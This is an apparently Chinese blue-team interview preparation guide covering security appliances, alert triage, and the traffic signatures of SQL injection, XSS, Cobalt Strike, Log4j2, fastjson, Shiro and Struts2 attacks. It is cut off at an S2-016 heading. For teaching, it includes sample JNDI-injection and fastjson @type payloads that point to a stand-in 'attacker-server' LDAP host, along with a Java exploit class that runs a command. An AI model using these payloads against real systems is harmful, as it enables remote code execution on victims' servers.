护网面试题押题1

护网面试题押题

又是一个护网招募和准备的季节,八九月分国护的时候是做企业镇山的虎,还是监控的吗喽呢?这不还有时间突破嘛!

自我介绍:

我是XX大学XX专业的XXX,我熟悉常见的安全防护工具,掌握渗透测试基础工具和对全过程的理解;理解Web常见漏洞原理和攻击方式;具有基本的阅读日志、漏洞分析和事件响应能力;具有较好的的的团队协作和沟通能力,并且能在高压环境下工作。项目中多次担任组长。

挖洞经验:复现过如IIS 6.0解析漏洞、CVE-2018-16763远程代码执行、ms17_010

项目经验:XX开发测试的项目中,测试过程发现API密钥放在了index.html中容易暴露,攻击者通过开发者工具直接获取API密钥然后滥用、CSRF攻击等等。把密钥放在了server.js服务器文件的环境变量里,确保所有用户输入都经过验证和转义来防止XSS。

XX联赛形式,第X名,扮演什么角色。

前言

该文章记录了监控研判溯源内容以及面试常问的一些题目

一、安全监控

安全监控是护网蓝队中最基础的岗位,在实际的工作中一般安全服务/安全运维岗这一块基本是必会的技能,这一块主要是一些安全产品以及相关的面试题!

1、网络安全相关设备及代表产品

以下是对这些安全设备及相关技术的介绍:

 

### 防火墙

- **定义**:防火墙是一种位于内部网络与外部网络之间的网络安全设备,它依照特定的规则,允许或限制传输的数据通过。

- **工作机制**:防火墙通过检查流经它的网络数据包,依据预设的规则来决定是否允许该数据包通过。这些规则可以基于源IP地址、目的IP地址、端口号、协议类型等多种因素。例如,防火墙可以设置为只允许来自特定IP地址段的HTTP(80端口)和HTTPS(443端口)流量进入内部网络,其他所有非授权的流量则会被阻止。

 

### Web应用防火墙(WAF)

- **定义**:专门为保护Web应用程序而设计的安全设备或软件,用于防止Web应用遭受各种攻击,如SQL注入、跨站脚本攻击(XSS)等。

- **工作机制**:WAF通常位于Web服务器前端,对进入的HTTP/HTTPS流量进行深度检测。它会解析HTTP请求和响应消息,检查其中是否包含恶意代码或攻击模式。例如,当检测到一个SQL注入攻击时,WAF会识别出请求中包含的恶意SQL语句,并阻止该请求到达Web服务器,从而保护Web应用程序和后端数据库的安全。

 

### 全流量安全分析系统

- **定义**:一种能够对网络中所有流量进行采集、存储和分析的安全设备或系统,旨在发现潜在的安全威胁和异常行为。

- **工作机制**:全流量安全分析系统会在网络中部署传感器,实时采集网络中的所有数据包。这些数据包被存储在大容量的存储设备中,以便后续分析。系统通过多种分析技术,如基于特征的检测、行为分析、机器学习算法等,对流量进行深度挖掘。例如,通过分析网络流量的模式、频率、数据流向等特征,发现异常的流量行为,如网络蠕虫传播、数据泄露等安全事件。

 

### 蜜罐

- **定义**:蜜罐是一种诱骗系统,它模拟真实的网络服务和系统,吸引攻击者前来攻击,从而收集攻击者的行为信息和攻击手段。

复制镜像IP

- **工作机制**:蜜罐通常会被配置成具有一些容易被攻击的弱点,看起来像是有价值的目标。当攻击者尝试攻击蜜罐时,蜜罐会记录下攻击者的所有操作,包括攻击的方式、使用的工具、攻击的时间等信息。这些信息可以帮助安全人员了解攻击者的行为模式和攻击技术,以便更好地加强网络安全防护。同时,蜜罐还可以将攻击者的注意力从真实的关键系统上转移开,起到保护真实系统的作用。

 

### 态势感知系统

- **定义**:态势感知系统是一种综合的网络安全监测和分析平台,它通过收集、整合和分析来自多个安全设备和系统的数据,对网络安全态势进行实时评估和预测。

- **工作机制**:态势感知系统首先会从各种数据源,如防火墙、入侵检测系统、漏洞扫描器、日志管理系统等收集大量的安全数据。然后,利用数据融合、关联分析等技术,对这些数据进行处理和分析,提取出有价值的信息。通过对这些信息的综合评估,系统能够实时了解网络的安全状态,包括当前存在的安全威胁、潜在的风险以及未来可能出现的安全趋势。例如,态势感知系统可以通过分析多个安全设备的告警信息,判断出是否存在大规模的网络攻击,并及时发出预警,以便安全人员采取相应的措施进行应对。

(1)防火墙:

  1. 监控和控制进出网络流量的设备,可以根据预设规则允许或拒绝数据包(与入口交换机串联部署)

(2)IPS(入侵防御系统):

  1. 入侵防御系统(与交换机串联部署,对流量进行分析拦截)

(3)IDS(入侵检测系统):

  1. 入侵检测系统(并联部署在核心交换机进出的地方,做一个端口镜像,将流量复制一份进行分析检测,不进行拦截)

(4)WAF:

  1. Web应用防火墙,专门保护Web应用程序免受常见的Web攻击(部署在DMZ区域的Web区域)

Web 应用防火墙(WAF)部署在 DMZ(Demilitarized Zone,非军事区)区域的 Web 区域,有其特定的网络架构意义和安全考量,以下为你详细解释:

1. DMZ 区域的概念

DMZ 是一个介于内部网络(如企业内部局域网)和外部网络(如互联网)之间的特殊网络区域。它的作用是在内部网络和外部网络之间建立一个缓冲地带,提供额外的安全防护层。在 DMZ 区域中,通常放置一些需要对外提供服务的服务器,如 Web 服务器、邮件服务器、FTP 服务器等。这些服务器既需要能够被外部网络访问到,以提供相应的服务,又要与内部网络保持一定的隔离,防止外部攻击者直接侵入内部网络。

2. WAF 部署在 DMZ 区域 Web 区域的原因

保护 Web 服务器:Web 服务器直接面向外部网络,容易成为攻击者的目标。常见的 Web 攻击如 SQL 注入、跨站脚本攻击(XSS)、文件包含攻击等都可能对 Web 服务器造成严重破坏。将 WAF 部署在 DMZ 区域的 Web 区域,可以在 Web 服务器之前拦截和过滤这些恶意请求,对进入 Web 服务器的流量进行深度检查和分析,确保只有合法和安全的请求能够到达 Web 服务器,从而保护 Web 服务器的安全。

隔离内外网络:DMZ 区域本身起到了一定的隔离作用,WAF 部署在此区域,进一步增强了这种隔离效果。即使 WAF 被突破,攻击者也只是进入了 DMZ 区域,仍然无法直接访问内部网络,为内部网络提供了额外的安全保障。内部网络中的敏感数据和系统资源相对更加安全,降低了被外部攻击的风险。

流量监控与管理:在 DMZ 区域的 Web 区域部署 WAF,可以对进出 Web 服务器的流量进行全面监控和管理。WAF 可以记录和分析流量数据,提供详细的日志信息,帮助管理员了解网络流量的模式和异常情况。通过对流量的管理,还可以优化 Web 服务器的性能,防止恶意流量导致的服务中断或性能下降。

符合安全架构规范:许多企业和组织遵循一定的网络安全架构规范和最佳实践,将 WAF 部署在 DMZ 区域是其中的一部分。这种部署方式有助于满足合规性要求,如行业标准、法规等,确保网络安全措施符合相关规定。

将 Web 应用防火墙部署在 DMZ 区域的 Web 区域,是为了在保护 Web 应用程序免受攻击的同时,实现内外网络的有效隔离和流量的监控管理,提升整体网络的安全性。

 

(5)态势感知(奇安信的天眼):

  1. 对网络环境进行实时监控和理解,以便能够及时发现和响应安全威胁,将对方的攻击路线展示出来

(6)上网行为管控(深信服的全网行为管理AC):

  1. 用于监控、管理和控制用户网络活动,一般企业会使用此类产品便于管理员工的网络行为

(7)堡垒机(飞致云的jumpserver):

  1. 用于增强访问控制与安全审计的设备,可以限制和管理用户访问权限、记录和监控用户登录和操作等行为、同时还提供额外的安全保护以及资产管理等功能,运维人员常用

(8)VPN:

  1. 虚拟专用网络,主要是为了实现远程加密访问公司内部网络达到远程办公的目的,哈哈起初是这样的。
  2. 分为节点和配置的壳两个含义。

(9)蜜罐(默安的幻阵):

  1. 顾名思义,就是一个蜜罐子,将需要防护的系统另外部署一份到蜜罐中,并且可能将其设置的不是那么安全,吸引攻击者对其进行攻击,其实攻击者可能已经被监控溯源了而不自知,从而达到吸引、检测、分析和防御网络攻击的目的

(10)EDR(青藤云的青藤云安全):

  1. 端点检测与响应,我个人认为EDR优势在于可以检测横向渗透攻击

(11)APT预警(安恒信息的安恒明御APT攻击预警平台):

  1. 用于检测、分析和响应复杂网络攻击,APT攻击通常由有组织的团体发起,目的是长期潜入目标网络,窃取敏感信息或进行破坏活动

(12)防DDOS(绿盟科技的黑洞):

  1. 保护网络资源免受分布式拒绝服务攻击(DDOS)的影响,对流量进行清洗,确保服务的可用性和可靠性

2、常问面试题

(1)防火墙与WAF的区别

  1. 防火墙是通用型网络防护设备,一般部署在网络流量入口处
  2. WAF是Wbe层面的防护,主要保障Web应用程序的安全,一般部署在DMZ区域的Web区域

(2)防火墙、IDS与IPS的区别

  1. 防火墙主要是基于规则对网络流量进行访问控制,IDS是用于检测网络流量中存在的威胁并报警但是不进行主动拦截,IPS在IDS的基础上增加了主动拦截功能

(3)你使用过堡垒机吗,叫什么名字,堡垒机的作用是什么?

  1. 使用过,叫jumpserver
  2. 堡垒机的作用是:增强访问控制与安全审计,可以限制和管理用户访问权限、记录和监控用户登录和操作等行为、同时还提供额外的安全保护以及资产管理等功能

(4)态势感知的工作原理,有没有拦截功能

  1. 原理:静态规则匹配,一般都是进行规则叠加更新
  2. 有没有拦截功能:态势感知自身没有拦截功能,但是可以和其它设备,比如EDR设备联动进行横向拦截,但是一般不这么做,因为态势感知的误报率太高了!

(5)天眼有什么功能模块

  1. 监测中心、威胁感知、分析中心、响应处置、资产感知

(6)天眼的告警列表字段、天眼的攻击结果有哪些、企图和失陷的区别

  1. 告警列表字段:受害IP、攻击IP、资产IP、告警类型、威胁名称、攻击结果、威胁级别、攻击次数
  2. 攻击结果:失败、企图、失陷、攻击成功
  3. 企图与失陷的区别:企图表示攻击者尝试进行攻击,但是暂时没有突破防御机制,失陷表示攻击者已经突破了某些防线,并且已经获得了某种程度的权限

(7)天眼三大功能(三件套)是什么

  1. 传感器:对流量进行解析还原,发现网络攻击和Web攻击能力
  2. 沙箱:发现恶意样本投递能力
  3. 分析平台:存储历史流量,分析威胁和溯源能力

(8)天眼的日志检索功能有哪些模式,高级模式怎么使用

  1. 快捷模式:直接填写IP点击字段进行查询即可
  2. 高级模式:搜索语句一般由”字段名称“、“项”、“运算符”三大元素组成,例如:sip:"xx.xx.xx.xx" AND dip:"xx.xx.xx.xx"或search sip=10.0.0.0/8 | top 100 dip
  3. 专家模式:支持更高级的搜索语法和功能,适用于更复杂的查询需求

(9)天眼中怎么判断文件被上传成功了

  1. 首先可以检索Web访问日志,如果存在对该文件的访问记录,并且响应状态码为200或者500,则基本可以认定文件存在,可以直接上机排查对应文件

(10)如果天眼中告警量特别大应该怎么办

  1. 首先可以更新规则库,如果告警量还是很大,则可以将记录导出来,然后再进行攻击次数从高到低进行排序,排在前面的放到威胁情报里面看看,或者寻找对应的IP日志,排查是不是攻击,如果是就将IP封掉

(11)天眼设备怎么判断是不是蠕虫,应该怎么处理

  1. 如何判断:主要是看源IP是不是一直对外请求一些非法站点或者对内网IP是否存在弱口令扫描、缓冲区溢出、ARP攻击、内网Web等攻击,这种蠕虫攻击一般采用一对多,发送大量数据包,容易造成内网广播风暴
  2. 怎么处理:首先通过防火墙、交换机的访问控制策略,对感染主机的访问数据进行控制,以防止蠕虫对其它网段主机进行感染,对已感染的主机从网络上进行隔离。关闭不必要的服务,对存在漏洞的主机打补丁,安装杀毒软件查杀,完成清除后恢复网络和业务。

(12)安全监控的过程中发现最多的告警类型是什么

  1. 弱口令攻击、SQL注入、文件上传、命令执行、反序列化

 

1.在椒图平台日志分析中result字段表示得含义是?

拦截结果0:已拦截,拦截结果1:未拦截

2.在椒图平台中如何配置针对服务器非白名单账号和登录IP的监控?

通过威胁监测-异常登录-违规登录-登录规则设置,添加白名单账户和IP

3.在椒图平台下发web类安全策略需要使用那个功能?

通过安全防护-功能设置

4.在椒图平台日志分析中P字段是攻击者IP还是受害者IP呢?

攻击源IP

5.告警分析payload大概在什么位置?

通常在请求包中的请求头url,以及在post数据包中可能存在

6.osi七层模型?

物理层-数据链路层-网络层-传输层-会话层-表示层-应用层

应用层协议: HTTP,FTP,TELNET、SMTP 传输层协议: TCP 、 UDP

7.什么告警不能很快分析出来?

部分sql注入无明显回显

8.哪个模块看告警的全部信息?

威胁感知模块

9.msf用过吗,设备上怎么分析的?

可能会存在执行系统命令的相关告警或shell告警

10.攻击者利用永恒之蓝漏洞攻击之后的日志特征是什么?

安全日志中,存在4624登录成功日志,登录类型为3

11.永恒之蓝漏洞查看日志的特征?

利用端口为445,且存在很多系统命令执行的流量,且该资产存在被端口扫描的告警

12.分析中心有什么日志?

告警日志、原始日志、终端日志

13.Referer字段?

Referer是HTTP请求header的一部分,当浏览器向web服务器发送请求的时候,头信息里有包含Referer

14.eval函数在木马中的作用?

eval()函数把字符串按照PHP代码来执行

15.如何确定web攻击是真实攻击还是误报攻击,从多角度回答,举例说明?

真实攻击查看请求报文和响应报文。比如:sql注入,特殊字符,比如and、or和id' 以及union select。再查看状态码为200,且出现success等字样

查看防火墙、邮件网关以及安全产品告警

16.护网期间,如果客户的流量特别大,面对很多条告警应该去首先关注筛选哪些的告警?

遇着这种情况一方面优先分析成功告警

再分析成功之外的其他高危告警,如webshell、命令执行、shell连接等。最后分析剩余告警

同时对于攻击频率较高的攻击ip及时上报封堵,可有效减少告警量。

 

二、分析研判

分析研判属于护网蓝队的中级岗位,需要进一步分析判断流量包是否为攻击,为何种攻击,并执行IP封禁协助溯源等工作,在实际的工作中安全服务/安全运维岗基本也需要会这一块的内容,分析研判大部分内容是分析告警流量特征,学习的内容包括常见的攻击流量特征、攻击工具流量特征、框架及中间件流量特征、Webshell管理工具流量特征等,面试题一般也是问这些流量特征!

怎么写?

所以你可以先跟面试官介绍下你的相关专业技能让面试官简单了解你会什么,熟悉什么。

其次就是介绍你的项目经验了,你可以把你在学校或者在实习参加过的一些项目啊,比如以前参加过的护网项目、渗透测试、漏洞挖掘等都可以跟面试官介绍下。

还有就是在校获奖,比如常打的CTF比赛之类的都可以跟面试官讲下。

1、常见的攻击流量特征

(1)SQL注入流量特征

  1. SQL语句关键字:select、where、order by、union、update、delete
  2. 系统函数:user()、@@version、database()
  3. 特定的数据库函数或者特性:information_schema库(用来获取数据库库名、表名、字段名)、报错注入三大函数(updatexml、extractvalue、floor)
  4. 编码和转义:URL编码(%27代表单引号...)、十六进制编码(char(39)...)、ASCII编码(0x27...)等、注释语句--或者#或者/**/
  5. 多个或者错误的SQL语句:在一个请求中插入多条查询语句,或者插入格式错误的查询语句

(2)XSS流量特征

  1. 请求包中包含各种形式的HTML或者JavaScript标签(如<script>、<img>、<iframe>等)以及弹窗函数(如alert()、confirm()、prompt()),返回包中返回了对应的未被正确过滤的前端脚本语句

(3)RCE流量特征

  1. 请求头或者URL中可能会有危险的函数:比如PHP中的命令执行函数如system()、exec()、shell_exec()、passthru()函数、文件操作函数如popen()函数、代码执行函数如eval()、assert()函数,Java中的命令执行函数runtime.getruntime.exec函数等
  2. 流量中包含特殊的字符:比如|、||、&、&&、反单引号、>、>>、<、<<等
  3. 流量中包含系统命令或敏感文件路径:命令如ls、cat、rm,敏感文件路径如/etc/passwd、/etc/shadow、/var/log等

(4)SSRF流量特征

  1. URL参数异常:URL参数指向内网地址或者不应该访问的地址,参数值是内网IP或127.0.0.1或者使用了伪协议(file://、ftp://、dict://、gopher://)
  2. 参数值后面存在特殊的字符或者使用编码绕过:特殊字符比如点号、冒号、空格,编码比如URL编码、Base64编码、16进制编码等隐藏或混淆IP地址或者域名

2、攻击工具流量特征

(1)Cobalt Strike流量特征

  1. HTTP请求特征:默认使用GET方法向特定URL地址(比如/load、/dpixel、/pixel.gif、/__utm.gif等)发送请求,cookie里面有一个Base64编码的数据
  2. DNS请求特征:在DNS请求中,域名可能以特定前缀开头(比如cdn、www6、api等),域名的查询结果可能包含非常规IP地址,这些地址被用于指令传输和心跳检测
  3. 心跳包特征:CS的默认心跳间隔是60秒,每隔60秒发送一次心跳包,用来确认被控端是否在线,当然可以在Beacon会话中执行sleep命令来修改心跳间隔
  4. 端口特征:CS默认端口为50050,当然这个端口可以通过编辑teamserver文件中的server_port进行修改

(2)Metasploit流量特征

  1. 端口特征:MSF数据库默认使用的postgresql端口是5432,MSF默认使用的反向连接端口是4444
  2. 数据包特征:MSF数据包中通常包含“meterpreter”、“revshell”等特殊字符串
  3. 使用特殊协议:MSF框架通常使用如Meterpreter、Reverse TCP等特殊的协议

(3)sqlmap流量特征

  1. User-Agent头特征:sqlmap工具在发起请求的时候,默认的User-Agent中通常包含"sqlmap"关键字,比如sqlmap/1.7.5.2#dev (https://sqlmap.org)
  2. 攻击流程具有顺序和规律:sqlmap的攻击流程通常遵循一定的顺序和规律。比如在使用--os-shell攻击时,它会首先测试链接是否能够访问,接着判断操作系统版本,尝试爆绝对路径,指定上传路径,写入一个php文件,找到上传文件的访问路径,上传另一个php文件并执行命令等
  3. Payload测试语句模板化:sqlmap使用的payload测试语句往往具有模板特征。比如在盲注入时,它会使用逻辑语句(如and、or)和特定的函数来测试SQL注入的可行性。这些语句在流量中会以特定的模式出现,如尝试让SQL语句报错来发现SQL漏洞,或者使用特定的函数(如@@version_compile_os)来判断操作系统等

3、框架及中间件流量特征

中间件是一种位于操作系统和应用程序之间的软件,它的作用主要是为了解决分布式系统中应用程序之间的通信、数据共享、资源管理等问题,具体如下:

- **连接不同的系统和应用**:在企业级应用中,往往存在多种不同的操作系统、数据库和应用程序。中间件可以作为桥梁,将这些异构的系统和应用连接起来,实现它们之间的互联互通。例如,一个企业的财务系统使用Windows操作系统和SQL Server数据库,而销售系统使用Linux操作系统和Oracle数据库,通过中间件可以让这两个系统方便地进行数据交互和业务协同。

- **提供通信支持**:中间件提供了多种通信机制,如消息队列、远程过程调用(RPC)等,使得不同的应用程序之间能够进行可靠的消息传递和方法调用。以消息队列为例,应用程序可以将消息发送到消息队列中,其他应用程序可以从队列中获取消息并进行处理,这样可以实现应用程序之间的异步通信,提高系统的性能和可靠性。

- **实现资源管理和共享**:中间件可以对系统中的资源进行管理和分配,如数据库连接、线程池等。它可以根据应用程序的需求动态地分配资源,提高资源的利用率,同时也可以避免资源的过度使用和冲突。例如,多个应用程序可能需要访问同一个数据库,中间件可以通过数据库连接池来管理数据库连接,减少连接的创建和销毁开销,提高数据库访问的效率。

- **增强系统的可扩展性和可维护性**:中间件将应用程序的业务逻辑和底层的技术细节隔离开来,使得开发人员可以更加专注于业务逻辑的实现,而不必过多地关注底层的通信、资源管理等问题。当系统需要进行扩展或维护时,可以通过对中间件进行升级或配置调整来实现,而不会对应用程序的核心业务逻辑产生太大的影响。

 

中间件的运行方式通常包括以下几个步骤:

1. **初始化**:在系统启动时,中间件会进行初始化操作,包括加载配置文件、创建必要的对象和资源等。例如,消息队列中间件会创建消息队列的管理对象和存储结构,数据库中间件会建立与数据库的连接池。

2. **接收请求**:中间件会监听特定的端口或地址,等待应用程序的请求。当应用程序发送请求时,中间件会接收到请求并进行解析。例如,Web中间件会接收来自浏览器的HTTP请求,并解析请求中的URL、参数等信息。

3. **处理请求**:根据请求的类型和内容,中间件会调用相应的处理逻辑来处理请求。这可能涉及到与其他系统或应用程序的通信、资源的获取和分配、业务逻辑的执行等。例如,远程过程调用中间件会根据请求中的方法名和参数,调用远程服务器上的相应方法,并将结果返回给调用方。

4. **返回响应**:中间件在处理完请求后,会将响应结果返回给应用程序。响应结果可以是数据、状态信息或错误提示等。例如,Web中间件会将生成的HTML页面或JSON数据返回给浏览器,让用户能够看到相应的结果。

5. **资源释放和清理**:在请求处理完成后,中间件会释放占用的资源,如数据库连接、线程等,以便下次使用。同时,中间件还会进行一些清理工作,如记录日志、统计性能数据等。

(1)Apache Shiro反序列化漏洞及其流量特征

漏洞原理:

  1. Apache Shiro框架提供了记住密码的功能(RememberMe),在用户登录成功后会生成经过加密并编码的cookie,在服务端对rememberMe的cookie值,先base64解码然后再AES解密最后再反序列化,最后导致了反序列化RCE漏洞

Shiro550与Shiro721的区别:

  1. Shiro550:由于AES密钥被泄露(密钥被硬编码),攻击者不需要获取真实的rememberMe字段,可以通过密钥重新构造请求,导致反序列化漏洞的产生
  2. Shiro721:在该版本中,AES密钥不再是硬编码的了,而是系统随机生成的,但是攻击者还可以利用登录后获取的真实的rememberMe cookie值作为Padding Oracle Attack的前缀,通过构造的cookie值来实现反序列化攻击

Shiro反序列化流量特征:

  1. 登录失败:返回包中包含rememberMe=deleteMe
  2. 不勾选记住密码登录成功:返回包中set-Cookie包含rememberMe=deleteMe字段,但是后续请求中Cookie不包含rememberMe字段
  3. 勾选记住密码登录成功:返回包中set-Cookie包含rememberMe=deleteMe字段以及rememberMe字段,后续请求中Cookie也包含rememberMe字段

反序列化漏洞是一种常见且危害较大的安全漏洞,主要存在于支持对象序列化和反序列化的编程语言和系统中,以下为你详细介绍:

 

1. **概念原理**

- 序列化是将对象的状态信息转换为可以存储或传输的形式(如字节流、JSON(交换格式)、XML(标记语言) 等)的过程。这样做便于对象在不同环境之间传输,或在持久化存储(如文件、数据库)中保存。

- 反序列化则是将序列化后的内容重新转换为对象的过程。当应用程序在进行反序列化操作时,如果没有对输入的序列化数据进行严格的验证和过滤,攻击者就可以构造恶意的序列化数据,通过反序列化操作执行任意代码或访问敏感信息,从而导致反序列化漏洞的产生。

2. **常见编程语言中的情况**

- **Java**:Java 提供了 `java.io.Serializable` 接口来支持对象的序列化和反序列化。一些常见的 Java 反序列化漏洞利用链(如 Commons Collections 等库中的 Gadget 链),攻击者可以通过构造特定的序列化数据,利用这些库中的类和方法的特性,实现远程代码执行。

- **Python**:Python 的 `pickle` 模块用于对象的序列化和反序列化。由于 `pickle` 在反序列化时会执行对象中定义的一些特殊方法(如 `__reduce__` 方法),攻击者可以精心构造恶意的 `pickle` 数据,当目标应用程序反序列化该数据时,就可能导致任意代码执行。

- **PHP**:PHP 的 `serialize()` 和 `unserialize()` 函数分别用于序列化和反序列化对象。如果应用程序在反序列化用户可控的数据时,没有进行充分的安全检查,攻击者可以构造恶意的序列化字符串,利用 PHP 类中的 `__construct()`、`__destruct()`、`__wakeup()` 等魔术方法来执行恶意操作。

3. **危害影响**

- **远程代码执行**:这是反序列化漏洞最严重的危害之一。攻击者可以利用漏洞在目标系统上执行任意命令,例如下载恶意软件、删除重要文件、获取系统权限等,从而完全控制目标系统。

- **数据泄露**:攻击者可以构造恶意的序列化数据,获取应用程序中敏感对象的状态信息,如数据库连接信息、用户凭证、机密配置等,进而导致数据泄露。

- **拒绝服务攻击**:通过发送精心构造的恶意序列化数据,可能导致应用程序在反序列化过程中消耗大量的系统资源(如 CPU、内存等),最终导致应用程序崩溃或无法正常响应,造成拒绝服务攻击。

4. **防范措施**

- **输入验证**:对所有来源不可信的输入数据进行严格的验证和过滤,确保只有合法的序列化数据被接受和处理。可以检查数据的格式、长度、类型等,拒绝不符合预期的输入。

- **限制反序列化类**:明确指定应用程序中允许反序列化的类,避免反序列化不受信任的类。可以通过白名单机制来实现,只允许特定的类进行反序列化操作。

- **更新依赖库**:及时更新应用程序所依赖的库和框架,因为很多反序列化漏洞是由于库中的安全缺陷导致的。新的版本通常会修复已知的安全漏洞,降低漏洞利用的风险。

- **安全审计**:定期对应用程序的代码进行安全审计,检查是否存在潜在的反序列化漏洞。可以使用自动化的安全扫描工具和人工代码审查相结合的方式,发现并修复安全隐患。

反序列化漏洞是一种需要引起高度重视的安全问题,开发人员和安全人员应该了解其原理和危害,并采取有效的防范措施来保护应用程序和系统的安全。

(2)Apache Log4j2远程代码执行漏洞及其流量特征

漏洞原理:

  1. log4j2的lookup功能下的Jndi Lookup模块未对用户输入进行严格判断,请求了恶意资源导致了远程代码执行漏洞

Log4j2远程代码执行漏洞流量特征:

  1. 数据包中包含{jndi:ldap//}字段、响应体中可能存在命令执行的结果(有回显)、可能存在源IP与DNSlog的外联日志记录(无回显)

### JNDI 简介

JNDI(Java Naming and Directory Interface)即 Java 命名与目录接口,是 Java 提供的一种标准的命名和目录服务的接口。它允许 Java 应用程序通过名称来查找和访问各种资源,这些资源可以是文件、数据库连接、EJB(Enterprise JavaBeans)、远程对象等。JNDI 提供了统一的 API,使得应用程序可以方便地与不同的命名和目录服务进行交互,如 LDAP(Lightweight Directory Access Protocol)、RMI(Remote Method Invocation)等。

 

### JNDI 注入缺陷原理

#### 基本原理

当 Java 应用程序在使用 JNDI 进行资源查找时,如果没有对用户输入进行严格的验证和过滤,攻击者可以通过构造恶意的 JNDI 引用,让应用程序去查找并加载恶意的资源,从而执行任意代码。具体来说,当应用程序调用 `InitialContext.lookup()` 方法时,会根据传入的名称去对应的命名服务中查找资源。攻击者可以控制这个名称,将其指向一个恶意的远程服务,如恶意的 LDAP 服务器或 RMI 服务器。

 

#### 详细过程

1. **用户输入可控**:应用程序接收用户输入,并将其作为 JNDI 查找的名称。例如:

```java

import javax.naming.Context;

import javax.naming.InitialContext;

 

public class JNDIDemo {

public static void main(String[] args) {

try {

Context ctx = new InitialContext();

String userInput = args[0]; // 假设这是用户输入

Object obj = ctx.lookup(userInput);

} catch (Exception e) {

e.printStackTrace();

}

}

}

```

2. **构造恶意 JNDI 引用**:攻击者构造一个恶意的 JNDI 引用,如 `ldap://attacker-server:1389/Exploit`,并将其作为用户输入传入应用程序。

3. **触发查找**:应用程序调用 `lookup()` 方法时,会根据传入的恶意 JNDI 引用去连接攻击者控制的 LDAP 服务器。

4. **加载恶意代码**:攻击者的 LDAP 服务器返回一个恶意的对象引用,应用程序会根据这个引用去加载并实例化恶意对象,从而执行恶意代码。

 

### JNDI 注入的利用方法

#### 利用 LDAP 服务器

1. **搭建恶意 LDAP 服务器**:攻击者使用工具(如 marshalsec)搭建一个恶意的 LDAP 服务器,该服务器会返回一个指向恶意类的引用。

2. **构造恶意类**:攻击者编写一个包含恶意代码的 Java 类,例如执行系统命令的类:

```java

import java.io.IOException;

 

public class Exploit {

static {

try {

Runtime.getRuntime().exec("calc.exe"); // 示例:执行计算器程序

} catch (IOException e) {

e.printStackTrace();

}

}

}

```

3. **上传恶意类**:将编译后的恶意类上传到一个可访问的 HTTP 服务器上。

4. **构造恶意 JNDI 引用**:构造一个指向恶意 LDAP 服务器的 JNDI 引用,如 `ldap://attacker-server:1389/Exploit`。

5. **触发注入**:将恶意 JNDI 引用作为用户输入传入存在 JNDI 注入漏洞的应用程序,应用程序在进行 JNDI 查找时会触发恶意代码的执行。

 

#### 利用 RMI 服务器

1. **搭建恶意 RMI 服务器**:攻击者使用工具搭建一个恶意的 RMI 服务器,该服务器会返回一个恶意的远程对象。

2. **构造恶意对象**:编写一个包含恶意代码的远程对象类,并在 RMI 服务器上注册该对象。

3. **构造恶意 JNDI 引用**:构造一个指向恶意 RMI 服务器的 JNDI 引用,如 `rmi://attacker-server:1099/Exploit`。

4. **触发注入**:将恶意 JNDI 引用作为用户输入传入存在 JNDI 注入漏洞的应用程序,应用程序在进行 JNDI 查找时会触发恶意代码的执行。

 

### 防御措施

- **输入验证和过滤**:对用户输入进行严格的验证和过滤,只允许合法的字符和格式作为 JNDI 查找的名称。

- **禁用不必要的 JNDI 服务**:如果应用程序不需要使用某些 JNDI 服务,应将其禁用,减少攻击面。

- **使用白名单机制**:在进行 JNDI 查找时,使用白名单机制,只允许查找白名单中的资源。

(3)fastjson反序列化漏洞及其流量特征

漏洞原理:

  1. Fastjson在使用autoType功能实例化指定类时会读取@type指定的对象类型到内容,试图把JSON数据反序列化为这个对象,导致攻击者可以通过@type指定比如com.sun.rowset.JdbcRowSetImpl这样的远程命令执行类构造恶意利用链进行攻击

fastjson反序列化流量特征:

  1. 主要特征就是请求包中包含"@type"、"ldap"、"rmi",还有就是Content-Type字段为"application/json"。
  2. 请求端流量特征

1.@type字段:请求的 JSON 数据中包含@type字段,且该字段的值往往是一些不常见或与业务逻辑无关的 Java 类名。例如:

json

{

"@type": "com.sun.rowset.JdbcRowSetImpl",

"dataSourceName": "ldap://attacker-server:1389/Exploit",

"autoCommit": true

}

 

2.特殊字符和编码:请求中可能会包含特殊字符或经过编码处理的内容,用于绕过一些安全检查。例如,可能会使用 URL 编码或 Base64 编码来隐藏恶意类名或命令。

  1. 响应端流量特征

1.异常响应:如果服务器在处理反序列化请求时出现异常,可能会返回包含错误信息的响应。这些错误信息可能会泄露服务器的一些敏感信息,如 Java 类名、方法名等,攻击者可以利用这些信息进一步分析和利用漏洞。

2.与外部服务器的通信:如果攻击者利用 JNDI 注入漏洞,服务器会与外部的 LDAP 或 RMI 服务器进行通信。在网络流量中可以看到服务器向外部服务器发起的连接请求,这些外部服务器的 IP 地址和端口可能是攻击者控制的。

(4)Apache struts2命令执行漏洞及其流量特征

漏洞原理:

  1. Apache Struts2框架执行了恶意用户传入的OGNL表达式,造成远程代码执行

struts2命令执行漏洞流量特征:

  1. 请求参数中包含OGNL表达式,比如"${}"、"%{}",请求包中包含#_memberAcecess,请求参数的值中包含"java.lang.Runtime",该参数值用于执行系统命令

### Apache Struts2 命令执行漏洞概述

Apache Struts2 是一个基于 MVC(Model - View - Controller)设计模式的 Java Web 应用框架,广泛用于开发 Java Web 应用。然而,由于框架在处理用户输入和表达式求值等方面存在缺陷,导致出现了一系列命令执行漏洞。攻击者可以利用这些漏洞构造恶意请求,在目标服务器上执行任意系统命令,从而获取服务器的控制权。

 

### 漏洞原理

#### OGNL 表达式注入

Struts2 框架使用 OGNL(Object Graph Navigation Language)作为表达式语言,用于在视图和动作之间传递数据和执行表达式。当框架对用户输入的参数进行处理时,如果没有对输入进行严格的验证和过滤,攻击者可以注入恶意的 OGNL 表达式。例如,在处理表单数据、URL 参数等时,攻击者可以构造包含执行系统命令的 OGNL 表达式,Struts2 框架会对这些表达式进行求值,从而触发命令执行。

 

#### 示例原理代码

```java

// 假设这是 Struts2 框架中处理用户输入的部分代码

import com.opensymphony.xwork2.ActionSupport;

 

public class MyAction extends ActionSupport {

private String input;

 

public String getInput() {

return input;

}

 

public void setInput(String input) {

this.input = input;

}

 

public String execute() {

// 这里如果没有对 input 进行严格验证,攻击者可以注入恶意 OGNL 表达式

// 例如,攻击者可以构造一个执行系统命令的表达式

return SUCCESS;

}

}

```

 

### 常见漏洞类型及利用方式

#### S2 - 001 漏洞

该漏洞是由于 Struts2 框架在处理表单数据时,对 OGNL 表达式的处理存在缺陷。攻击者可以通过构造包含恶意 OGNL 表达式的表单数据,在服务器上执行任意命令。

 

#### S2 - 016 漏洞

